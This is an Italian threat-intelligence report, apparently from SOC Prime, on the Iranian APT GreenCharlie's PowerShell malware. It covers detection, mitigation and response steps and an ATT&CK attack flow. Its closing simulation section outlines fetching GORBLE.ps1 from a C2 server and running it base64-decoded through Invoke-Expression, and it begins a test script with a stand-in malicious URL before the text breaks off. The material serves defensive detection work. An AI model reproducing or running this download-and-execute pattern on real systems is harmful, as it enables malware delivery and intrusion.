SOC Prime Bias: Critico

12 Nov 2025 17:00

GreenCharlie: Il Report del SOC sugli Exploit PowerShell da APT Sostenuti dall’Iran

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GreenCharlie: Il Report del SOC sugli Exploit PowerShell da APT Sostenuti dall’Iran
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo dell’Exploit di GreenCharlie PowerShell

GreenCharlie è un gruppo APT con sede in Iran che conduce cyber-spionaggio utilizzando una famiglia malware PowerShell a più stadi (GORBLE, TAMECAT, POWERSTAR). Il gruppo registra molti domini DNS dinamici per il phishing, utilizza script PowerShell offuscati con Base64 e codifiche bitwise personalizzate, e comunica con i server C2 tramite HTTPS POST. L’attività è aumentata nel periodo maggio-agosto 2024 con IP iraniani e servizi VPN che mascherano il traffico.

Indagine

Analizzare il traffico di rete per connessioni a domini DDNS e intervalli IP associati al gruppo (ad es., *.ddnsgeek.com, *.dns-dynamic.net). Cercare catene di esecuzione PowerShell che eseguono decodifica Base64 seguita da operazioni NOT bitwise, e script che invocano ScriptBlock.Create o Invoke-Expression. Monitorare l’iniezione di processi e l’esecuzione in memoria di payload decriptati. Correlare allarmi con tecniche ATT&CK T1583.001, T1566.002, T1059.001, T1568.

Mitigazione

Implementare una registrazione rigorosa di PowerShell (ModuleLogging, ScriptBlockLogging) e imporre la modalità linguistica vincolata. Bloccare o instradare il traffico verso noti provider DDNS e TLD sospetti (.info, .xyz, .icu, .network, .online, .site). Distribuire sandboxing DNS e filtraggio URL per domini di phishing. Utilizzare soluzioni di rilevamento e risposta degli endpoint (EDR) per rilevare script PowerShell offuscati e decrittazione AES in memoria. Applicare il principio del minimo privilegio per gli account di servizio e disabilitare strumenti di esecuzione remota non necessari.

Risposta alla Minaccia GreenCharlie

Quando viene rilevato un indicatore, isolare l’host compromesso, acquisire memoria volatile e raccogliere i log di PowerShell. Eseguire un’analisi forense per estrarre il payload decodificato e identificare i server C2. Revocare le credenziali compromesse, ruotare le chiavi segrete e rimuovere compiti pianificati relazionati o meccanismi di persistenza. Condividere le informazioni su minacce (IOC) (domini, IP, valori hash) con ISAC pertinenti e aggiornare le regole di rilevamento di conseguenza.

graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[“<b>Inizio</b>: Trigger di esecuzione iniziale”] class start action tech_execution[“<b>Tecnica</b> – T1059.001<br/><b>PowerShell</b>: Eseguire script per scaricare il payload”] class tech_execution technique process_download[“<b>Processo</b>: Scarica payload di secondo stadio”] class process_download process tech_obf1[“<b>Tecnica</b> – T1027.008<br/>Payloads Strippati (Base64 + NOT)”] class tech_obf1 technique tech_obf2[“<b>Tecnica</b> – T1027.014<br/>Codice Polimorfico (codifica variante)”] class tech_obf2 technique tech_decode[“<b>Tecnica</b> – T1140<br/>Decodifica/Deoffusca payload”] class tech_decode technique tech_dns[“<b>Tecnica</b> – T1071.004<br/>Protocollo Applicativo DNS”] class tech_dns technique tech_dga[“<b>Tecnica</b> – T1568.002<br/>Algoritmo di Generazione dei Domini”] class tech_dga technique tech_web[“<b>Tecnica</b> – T1102.002<br/>Servizio Web Bidirezionale HTTPS”] class tech_web technique tech_encrypt[“<b>Tecnica</b> – T1573<br/>Canale Cifrato AES”] class tech_encrypt technique data_exfil[“<b>Dati</b>: Informazioni di sistema (OS, nome computer)”] class data_exfil data tech_exfil[“<b>Tecnica</b> – T1041<br/>Esfiltrazione tramite canale C2”] class tech_exfil technique %% Connections start u002du002d>|attiva| tech_execution tech_execution u002du002d>|scarica| process_download process_download u002du002d>|offusca con| tech_obf1 process_download u002du002d>|applica| tech_obf2 process_download u002du002d>|decodificato da| tech_decode tech_decode u002du002d>|comunica tramite| tech_dns tech_dns u002du002d>|usa| tech_dga tech_dns u002du002d>|comunica tramite| tech_web tech_web u002du002d>|crittografa traffico con| tech_encrypt tech_encrypt u002du002d>|trasporta| data_exfil data_exfil u002du002d>|inviato tramite| tech_exfil

Flusso dell’Attacco

Istruzioni per la Simulazione del Payload

  • Narrativa degli Attacchi & Comandi:

    Fase 1 – Recuperare il caricatore dannoso:
    L’attaccante usa Invoke-WebRequest per scaricare uno script PowerShell denominato GORBLE.ps1 da un server C2.Fase 2 – Codificare il payload:
    Lo script scaricato contiene il payload dannoso. L’attaccante codifica l’intero script in base64 e lo memorizza in una variabile $x.Fase 3 – Eseguire tramite cmdlet ad alto rischio:
    Utilizzando Invoke-Expression, l’attaccante decodifica $x al volo ed esegue, invocando così il framework GORBLE.Fase 4 – Spostamento laterale (opzionale):
    Il payload potrebbe successivamente chiamare ScriptBlock.Create con una stringa offuscata bitwise-NOT per avviare un comando PowerShell di secondo stadio su un host remoto.
  • Script di Test per la Regressione:

    # -------------------------------------------------
    # Simulazione del Framework PowerShell APT GreenCharlie
    # -------------------------------------------------
    
    # 1. Simulare il download del framework dannoso (parola chiave GORBLE)
    $maliciousUrl = "http://malicious.example.com/GORBLE.ps1"
    $downloaded = @"
    # GORBLE - payload dannoso simulato